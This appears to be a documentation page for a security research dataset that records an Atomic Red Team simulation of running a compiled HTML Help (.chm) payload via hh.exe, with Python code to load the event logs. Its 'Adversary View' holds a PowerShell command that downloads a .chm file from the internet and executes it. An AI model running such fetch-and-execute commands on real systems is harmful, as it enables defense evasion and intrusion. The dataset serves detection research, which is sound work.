HH Execution of Local Compiled HTML Payload
Contents
HH Execution of Local Compiled HTML Payload#
Metadata#
Contributors |
Roberto Rodriguez @Cyb3rWard0g |
Creation Date |
2020/10/22 |
Modification Date |
2020/10/22 |
Tactics |
|
Techniques |
|
Tags |
art.5cb87818-0d7c-4469-b7ef-9224107aebe8 |
Dataset Description#
This dataset represents threat actors executing local compiled HTML Help payloads via hh.exe.
Datasets Downloads#
Type |
Link |
---|---|
Host |
Adversary View#
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm" -OutFile C:\ProgramData\T1218.001.chm
hh.exe C:\ProgramData\T1218.001.chm
Explore Datasets#
Download & Decompress Dataset#
import requests
from zipfile import ZipFile
from io import BytesIO
url = https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/defense_evasion/host/psh_hh_local_html_payload.zip
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])
Read JSON File#
from pandas.io import json
df = json.read_json(path_or_buf=datasetJSONPath, lines=True)
Access Security Events#
df.groupby(['Channel']).size().sort_values(ascending=False)